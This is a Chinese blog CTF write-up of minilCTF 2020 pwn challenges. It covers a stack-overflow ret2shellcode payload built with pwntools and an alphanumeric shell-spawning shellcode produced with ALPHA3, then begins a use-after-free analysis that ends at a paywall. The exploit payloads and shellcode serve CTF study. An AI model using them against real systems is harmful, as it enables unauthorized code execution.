【CTF题解NO.00002】minilCTF 2020 - write up by arttnba3

最新推荐文章于 2023-05-07 21:54:02 发布
原创 最新推荐文章于 2023-05-07 21:54:02 发布 · 1.1k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#python #内存泄漏 #信息安全 #内存管理 #pwn

This blog post provides a detailed walkthrough of solving PWN challenges from the minilCTF 2020 competition. The author discusses various techniques, including ret2shellcode, stack migration, Use After Free (UAF), and Fastbin attacks. The write-up covers several CTF challenges, with explanations on how to exploit vulnerabilities, construct payloads, and achieve remote code execution." 74057553,6131059,理解Netty ChannelBuffer：C++实现解析,"['网络编程', 'Java框架', 'C++', 'Netty', '数据传输']

github pages blog addr

【CTF题解NO.00002】minilCTF 2020 - write up by arttnba3

0x00.绪论

mini-LCTF，前身是makerCTF，是西电校内享誉盛名（？）的CTF，作为菜鸡CTFer也尝试着参加了一手

因为咱主攻PWN的原因，所以这一篇应该只有PWN（

（不过主要还是因为我太菜了XD

注：所有题目在archive.lctf.online上都有部署

0x01.Sign in

Starting Point

点进页面就可以直接获得flag了

0x02.PWN

hello - ret2text + ret2shellcode

点击下载-hello

证明了我真的是菜鸡的一道pwn题，搞了半天才明白XD

做题环境Manjaro-KDE

首先使用checksec指令查看保护，可以发现保护基本都是关的，只有Partial RELRO，那么基本上是可以为所欲为了wwww

win环境下拖进IDA进行分析

img

可以发现在vul函数存在明显的栈溢出
在这里插入图片描述

main函数中调用了vul
在这里插入图片描述

那么程序漏洞很明显了：

  • 使用fgets读入最大为72个字节的字符串，但是只分配给了48字节的空间，存在栈溢出

又有一个可疑的bd函数，那么第一时间想到**ret2text**——构造payload跳转到bd

但是很明显，bd函数基本是是空的(悲)

img.png

然后我就在这里卡了半天，证明我真的菜XD，感谢cor1e大佬的耐心解答

那么我们该如何利用这个bd呢？

可以看到在bd中存在操作jmp rsp，那么其实我们可以利用这个指令跳转回栈上，执行我们放在栈上的shellcode

也就是说这其实是一道ret2shellcode的题

ret2text执行过程：

  • rsp永远指向栈顶

  • 当我们用常规的ret2text构造48字节字符串+8字节rbp+8字节bd函数地址（覆盖掉原返回地址）的payload时，rsp指向的其实是bd函数地址的位置

  • ret指令进入bd后弹出bd地址，rsp指向栈内储存的rbp的值（预期内）

  • bd函数将rbp再push入栈中，此时rsp再加8，指向被新压入的rbp（预期内）

  • bd函数执行rsp上的指令
    那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行

接下来就是ret2shellcode的：

ret2shellcode修正过程：

  • 在rsp最终指向的地址放上我们待执行的shellcode

  • 由于长度不够，我们可以把getshell的shellcode放在读入的字符串的最开始的地方，再通过汇编指令进行跳转

  • 在rsp所指向的位置覆盖上shellcode，改变rsp的值使其指向getshell的shellcode并再次进行跳转，完成getshell

那么payload就很容易构造出来了：

注：第一次盲打payload居然错了，我还是太菜了Or2

注2：其实可以不需要跳转到bd，直接跳转到

context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,56')//48字节的字符串+8字节的rbp，跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3

在这里插入图片描述

高阶解法：栈迁移

假如说这道题并不存在供我们进行跳转的bd函数，给我们的溢出长度就只有72-48=24个字节，但是仅仅是asm(sellcraft.sh())就已经需要48个字节，那么我们该如何通过仅仅24字节的溢出完成pwn呢

答案是使用栈迁移技术

注：赛期因为各种ddl导致只解出了这一道题XD 后面的题解是在赛后写的 部分参照了Lunatic和eqqie师傅的题解

ezsc - Alphanumeric Shellcode

点击下载-ezsc

首先是惯例的checksec

img.png

四舍五入保护全关，我们有极大的操作空间

程序分析

拖入IDA进行分析

在这里插入图片描述

v7是一个函数指针，并被分配到了0x1000大小的内存空间

程序会从输入流逐字节读入最大4096个字节写入到v7所指向的空间上，且限制输入仅能为字母或数字否则终止输入

输入结束后尝试执行函数指针v7

那么我们直接输入一段shellcode即可getshell

但是限制了输入只能是数字和字母，常见的shellcode都包含一些其他字符

于是只好百度XD

得知一种叫做Alphanumeric Shellcode的东西www

Alphanumeric Shelllcode

具体参见：https://www.freebuf.com/articles/system/232280.html

首先从GitHub上随便找一个轮子

$ git clone https://github.com/TaQini/alpha3.git

然后编写生成我们的shellcode的脚本

# sc.py
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

输出重定向至文本

$ python sc.py > sc

使用轮子生成alphanumeric shellcode

$ python ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

在这里插入图片描述

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00

连接服务端，发送我们的alphanumeric shellcode，成功getshell

在这里插入图片描述

得到flag

moectf{Y0u_kn3w_tH3_a1ph4num3r1C_she1lc0de!}

easycpp - Use After Free

点击下载-easycpp
点击下载-libc.so.6

首先是惯例的checksec

image.png

我们可以看到，和前面几题不同的是这个程序是一个32位的程序

说实话我也不知道为什么画风突变变成32位XD

程序分析

拖入IDA进行分析

在这里插入图片描述

用到了一个名为B的类，我们先看看这个类都有些啥

IDA中类B有一个构造函数B()和一个print()函数
在这里插入图片描述

类B的构造函数如下：

image.png

类B的构造函数首先调用了类A的构造函数，然后将变量_vptr_A设置为一个函数指针

我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置，这个位置上有一个B::print()函数，故可知这是一个二级函数指针

在这里插入图片描述

在这里插入图片描述

我们再来看看类A的构造函数，如下：

在这里插入图片描述

类A的构造函数也是将变量_vptr_A设置为一个函数指针

位于off_80489F0上的函数为A::print()

在这里插入图片描述

在这里插入图片描述

接下来是main函数的简单分析：

在这里插入图片描述

v3、v4都是一个类型为类 B的指针

首先setvbuf()函数将程序设置为无缓冲输入

之后创建了一个类B的实例并将地址给到指针v3和v4

之后将该实例内的变量_vptr_A的值设为0

之后使用delete释放掉之前分配给v3、v4的内存

之后从标准输入流读入1024个字节到buf（或许有操作空间？）

之后调用strbuf()函数重新分配一段内存空间并将buf的值拷贝一份（当然最后并没有指针接收这一块内存，那么它会成为野内存吗？）

最后重新调用v4的函数指针变量所指向的函数

那么我们在这里就可以发现一个exploit：

Use After Free

v3、v4所指向的内存空间被释放后v3、v4并没有被设置为NULL，在运行到strdup()函数时这一块内存空间又被重新分配给strdup()函数，而之后又通过v4再次对这一块内存空间进行调用，很明显存在**UAF（Use After Free）**漏洞

最低0.47元/天 解锁文章
【CTF题解NO.00005】ByteCTF2020 - pwn - write up by arttnba3
arttnba3的博客
01-19 971
github pages address 【CTF题解NO.00005】ByteCTF2020 - pwn - write up by arttnba3[github pages address](https://arttnba3.cn/2020/11/23/CTF-0X01-ByteCTF2020-pwn/)0x00.绪论0x01.线上赛 - CTF -PWN0x00.easy_heap - null by any address + tcache poisoning漏洞：任意地址写00x01.gun
【CTF题解NO.00003】moeCTF 2020 - official write up by arttnba3
arttnba3的博客
11-20 5377
github pages blog addr 文章目录[github pages blog addr](https://archive.next.arttnba3.cn/2020/09/07/%E3%80%90CTF%E9%A2%98%E8%A7%A3-0x03%E3%80%91moeCTF2020-write-up-by-arttnb3/)0x00.绪论0x01.PwnPwn从入门到入狱WelcomeBaby Pwn - ret2textBaby Shellcode - shellcodeunusual
C++类与结构体、this指针（二）
Lao_tan的博客
06-23 608
C++结构体的一些补充
C++ 学习笔记·二——基础入门（2）
un357951的博客
11-20 353
数组 指针 函数 结构体
[mini LCTF 2023] 西电的部分
weixin_52640415的博客
05-07 7468
order 爆破
this指针
qq_51600802的博客
04-10 613
但是，即使是虚函数，如果编译期就能明确知道调用的是哪个函数，编译器就不会通过函数表中的指针来间接调用，而是会直接调用该函数。如果空类大小为0，若我们声明一个这个类的对象数组，那么数组中的每个对象都拥有了相同的地址，这显然是违背标准的。所 以，我们无法知道一个对象的this指针的位置（只有在成员函数里才有this指针的位置）。当然，在成 员函数里，你是可以知道this指针的位置的（可以通过&this获得），也可以直接使用它。当调用一个类的成员函数时，编译器将类的指针作为函数的this 参数传递进去。
cgo 结构体指针_cgo封装C库总结
weixin_42237925的博客
01-14 914
简介cgo是go语言提供的一种与C语言相互调用的方式。cgo能够让开发者直接在.go源代码文件中嵌入C代码。在嵌入的C代码比较长的时候，还允许在分离.c文件中编写C代码。cgo的基本处理机制是，根据特定格式的cgo指令，解析出C源代码和编译参数，调用gcc编译并把结构合并到最终二进制程序中。带来的问题，编译速度慢了很多。两种模型，cgo用法：声明使用cgo在.go文件中，插入这么几行，表示开启cg...
【CTF题解NO.00007】VNCTF2021 - pwn - write up by arttnba3
arttnba3的博客
04-05 1228
【CTF题解NO.00007】VNCTF2021 - pwn - write up by arttnba3[github blog addr there](https://arttnba3.cn/2020/09/08/CTF-0X00-BUUOJ-PWN/)VNCTF2021 - Pwn[VNCTF 2021]White_Give_Flag - read out of bounds[VNCTF 2021]ff - tcache poisoning + IO\_FILE hijackglibc2.32下tca
【CTF题解NO.00009】CISCN2021-初赛-pwn write up by arttnba3
arttnba3的博客
05-21 939
【CTF题解NO.00009】CISCN2021-初赛-pwn write up by arttnba3[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/15/CTF-0X04-CISCN2021-PRELIMINARY/)0x00.绪论0x01.场景实操 开场卷pwny | Donelonelywolf | Donechannel0x02.场景实操 二阶卷silverwolf | Donegame0x03.场景实操 冲刺卷satool GITHUB BLOG A
go 类型断言_Go语言学习基础-指针、结构体、方法、接口、错误
weixin_39546501的博客
11-30 287
Pointer指针Go支持指针，可以在程序中传递值或值的引用。下面的示例通过两个函数来展示指针的使用方式：zeroval和zeroptr。函数zeroval有一个int参数，因此参数将按值传递给它。zeroval将从调用函数中得到一个传递进来的值的副本ival。函数zeroptr则有一个*int参数，这意味着它接受一个int指针。函数体中解指针语法*ipt从其内存地址中得到该地址的当前值。为解指针...
已知p是一个指向类a的数据成员m的指针_第三十八章、结构体指针、单向链表简介...
weixin_39705018的博客
11-21 173
最近比较忙，一下子有好几天没更新了，今天我们先来了解下结构体指针。和普通的指针一样，结构体指针就是指向结构体变量的指针。结构体指针指向的是结构体变量的起始位置。1. 声明结构体指针我们用一幅图和一个例子来看下结构体指针：这个和数组指针有点类似，都是给的首地址。在声明指针的时候和普通的指针声明是一样的，我们用typedef可能会看的更清楚一点如图：2. 使用结构体指针访问成员声明了指针，那我们怎么访...
C基础 个人笔记
qq_31759493的博客
09-25 569
strlen()函数 和 sizeof 关键字 strlen 是一个函数，它用来计算指定字符串 str 的长度，但不包括结束字符（即 null 字符）。 其原型如下面的代码所示： size_t strlen(char const* str); char array[100] = "abc"; /*用strlen()求长度*/ printf("array的长度=%d\n", strlen(aray)); 运行结果为 3 关键字 sizeof 是一个单目运算符，而不是一个函数。与函数 strlen 不同，它的
【C++】this指针，结构体和类的区别，不能错过！
Yfan133的博客
10-12 916
C++类和对象(lesson 3) 结构体和类 类的空间大小 this指针 总结 结构体和类 类的空间大小 this指针 总结
c/c++返回结构体方法和this指针,平时总结
sam的学习家园
07-19 4381
函数返回结构体其实是调用者传一个结构体的地址参数进去，然后函数体内部直接用这块内存初始化并调用构造函数。类的this指针通过ecx传送。在类函数中使用成员就是this指针加上类成员的偏移，注意有虚函数的对象内存最前面几个字节存放的是虚函数表的地址。c++不懂的地方多用alt+8汇
cgo 结构体指针_用 cgo 生成用于 cgo 的 C 兼容的结构体
weixin_39806603的博客
12-23 266
假设(并非完全假设，这里有 demo)你正在编写一个程序包，用于连接 Go 和其它一些提供大量 C 结构体内存的程序。这些结构可能是系统调用的结果，也可能是一个库给你提供的纯粹信息性内容。无论哪种情况，你都希望将这些结构传递给你的程序包的用户，以便他们可以使用这些结构执行操作。在你的包中，你可以直接使用 cgo 提供的 C. 类型。但这有点恼人(这些整型它们没有对应的原生 Go 类型，使得与常规 ...
C++--类与对象(上)--结构体的内存对齐--this指针
贵在坚持,我相信只要我努力,未来肯定是美好的!
03-03 263
类与对象上结构体的内存对齐this指针this指针的特性 结构体的内存对齐 对于内存对齐这里的讲解,其实在C++中的和在C语言中的是一样的,我直接将以前的连接粘贴过去,大家注意理解就行了链接: 点击此处 this指针 this 类型: 类类型*const this 这里的this 指针是一个相对于隐藏的指针,它在成员函数中时实际存在的, 下面这个是一个简单的日期类代码,包含了两个成员函数和内部的元素,其实在成员函数中每一个都有着对应的this指针,只不过被隐藏起来的,从外部是无法看见的.就像我下面代码中给
【03】类、内联成员函数、结构体、this指针、内存、作用域
zhuhurry的博客
07-15 745
封装封装是把客观事物封装成抽象的类，是面向对象程序设计最基本的特性，把数据和函数合成一个整体。并且可以可以把自己的数据和方法只让可信的类或者对象操作，对不可信的进行信息隐藏。有2层含义（把属性和方法进行封装 对属性和方法进行访问控制）一、类声明class 类名称{ public: 公有成员（外部接口） private: 私有成员 ...
c语言结构体this指针,c语言结构体模拟c++对象的方法，并实现this指针
weixin_35789885的博客
05-19 1600
先说一下结构体模拟对象的基本思路。1. 在结构体里定义好函数指针。2. 在结构体外面定义好对象的方法。3. 在结构体初始化的时候把这些方法的地址赋值给对应的函数指针。4. 通过函数指针调用函数，并把结构体自身的地址传给函数。这个思路容易想到，但不是很完美。毕竟定义函数的时候必须多写一个参数指向结构体(即this指针必须通过参数显式传递)，不方便。调用的时候也要多写一次对象的名字：obj.metho...
C++：从结构体开始理解this指针
qq_43825377的博客
05-03 2898
C++：从结构体开始理解this指针 #include <iostream> #include <string> using namespace std; class student { public : void Init(string id,string name,int age) { id_ = id; name_ = name; age_ = age; } void print() { cout << id_ << endl
.... - --. .. .-. . .-. .- ..- --- -.-- --. .- .-.. ..-. -- .- ..
最新发布
06-12
&#39;.-&#39;: &#39;A&#39;, &#39;-...&#39;: &#39;B&#39;, &#39;-.-.&#39;: &#39;C&#39;, &#39;-..&#39;: &#39;D&#39;, &#39;.&#39;: &#39;E&#39;, &#39;..-.&#39;: &#39;F&#39;, &#39;--.&#39;: &#39;G&#39;, &#39;....&#39;: &#39;H&#39;, &#39;..&#39;: &#39;I&#39;, &#39;.---&#39;: &#39;J&#39;, &#39;-.-&#39;: &#39;K&#39;, &#39;.-..&#39;: &#39;L&#39;, &#39;--&#39;: &#39;M&#39;, &#39;-.&#39;: &#39;N&#39;, &#39;---&#39;: &#39;O&#39;, &#39;.--.&#39;: &#39;P&#39;, &#39;--...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值